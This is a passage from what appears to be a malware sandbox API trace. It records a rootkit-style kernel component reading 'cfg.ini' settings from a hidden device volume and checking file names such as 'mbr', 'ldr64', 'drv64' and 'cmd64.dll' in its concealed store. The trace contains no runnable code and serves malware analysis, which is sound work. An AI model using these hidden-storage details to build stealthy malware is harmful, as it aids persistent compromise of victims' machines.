_Dest="0d24eb7c\\cfg.ini") returned 16 [0124.587] KeEnterCriticalRegion () [0124.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] KeLeaveCriticalRegion () [0124.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.587] ReleaseMutex (hMutex=0xf0) returned 1 [0124.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.587] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.587] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.587] KeEnterCriticalRegion () [0124.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.587] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.587] IdePortDispatch () returned 0x103 [0124.587] KeWaitForMutexObject () returned 0x0 [0124.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.587] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.587] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.587] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.587] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.587] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1740 [0124.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] KeLeaveCriticalRegion () [0124.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.587] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.587] KeEnterCriticalRegion () [0124.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] KeLeaveCriticalRegion () [0124.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.588] KeEnterCriticalRegion () [0124.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.588] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.588] IdePortDispatch () returned 0x103 [0124.588] KeWaitForMutexObject () returned 0x0 [0124.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.588] KeLeaveCriticalRegion () [0124.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.588] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.588] KeEnterCriticalRegion () [0124.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003584000 [0124.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.588] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.588] IdePortDispatch () returned 0x103 [0124.588] KeWaitForMutexObject () returned 0x0 [0124.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.588] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.588] IdePortDispatch () returned 0x103 [0124.590] KeWaitForMutexObject () returned 0x0 [0124.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.590] KeLeaveCriticalRegion () [0124.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.590] KeEnterCriticalRegion () [0124.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.590] KeLeaveCriticalRegion () [0124.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.591] KeEnterCriticalRegion () [0124.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.591] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] KeLeaveCriticalRegion () [0124.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.591] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.591] KeEnterCriticalRegion () [0124.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] ExFreePoolWithTag (P=0xfffffa8003bf1740, Tag=0x0) [0124.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] KeLeaveCriticalRegion () [0124.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.591] ReleaseMutex (hMutex=0xf0) returned 1 [0124.591] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.591] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.591] KeEnterCriticalRegion () [0124.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.591] IdePortDispatch () returned 0x103 [0124.591] KeWaitForMutexObject () returned 0x0 [0124.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.591] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.591] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.591] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf28e0 [0124.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.591] KeLeaveCriticalRegion () [0124.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.591] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.592] KeEnterCriticalRegion () [0124.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.592] KeLeaveCriticalRegion () [0124.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.592] KeEnterCriticalRegion () [0124.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.592] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.592] IdePortDispatch () returned 0x103 [0124.592] KeWaitForMutexObject () returned 0x0 [0124.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.592] KeLeaveCriticalRegion () [0124.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.592] KeEnterCriticalRegion () [0124.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003585000 [0124.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.592] IdePortDispatch () returned 0x103 [0124.592] KeWaitForMutexObject () returned 0x0 [0124.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.593] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.593] IdePortDispatch () returned 0x103 [0124.593] KeWaitForMutexObject () returned 0x0 [0124.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.593] KeLeaveCriticalRegion () [0124.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.593] KeEnterCriticalRegion () [0124.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.593] KeLeaveCriticalRegion () [0124.593] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.593] KeEnterCriticalRegion () [0124.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.593] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.593] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf14b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.593] KeLeaveCriticalRegion () [0124.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.594] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.594] KeEnterCriticalRegion () [0124.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.594] ExFreePoolWithTag (P=0xfffffa8003bf28e0, Tag=0x0) [0124.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.594] KeLeaveCriticalRegion () [0124.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.594] ReleaseMutex (hMutex=0xf0) returned 1 [0124.594] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.594] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.594] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.594] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.594] KeEnterCriticalRegion () [0124.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.594] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.594] IdePortDispatch () returned 0x103 [0124.594] KeWaitForMutexObject () returned 0x0 [0124.594] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.594] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.594] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.594] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.594] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.594] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.594] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.594] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.594] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.594] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.594] KeLeaveCriticalRegion () [0124.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.595] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.595] KeEnterCriticalRegion () [0124.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.595] IdePortDispatch () returned 0x103 [0124.595] KeWaitForMutexObject () returned 0x0 [0124.595] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.595] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.595] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.595] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.595] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.595] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.595] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.595] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.595] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.595] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.595] KeLeaveCriticalRegion () [0124.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.595] ReleaseMutex (hMutex=0x100) returned 1 [0124.595] Sleep (dwMilliseconds=0x2bf20) [0124.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d761df0, dwHighDateTime=0x1d24fa4)) [0124.602] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.602] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.602] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.602] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.602] KeEnterCriticalRegion () [0124.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.602] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.602] IdePortDispatch () returned 0x103 [0124.602] KeWaitForMutexObject () returned 0x0 [0124.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.602] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.602] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.602] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.602] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.602] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2b30 [0124.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.602] KeLeaveCriticalRegion () [0124.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.602] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.602] KeEnterCriticalRegion () [0124.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.602] KeLeaveCriticalRegion () [0124.603] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.603] KeEnterCriticalRegion () [0124.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.603] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.603] IdePortDispatch () returned 0x103 [0124.603] KeWaitForMutexObject () returned 0x0 [0124.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.603] KeLeaveCriticalRegion () [0124.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.603] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.603] KeEnterCriticalRegion () [0124.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, 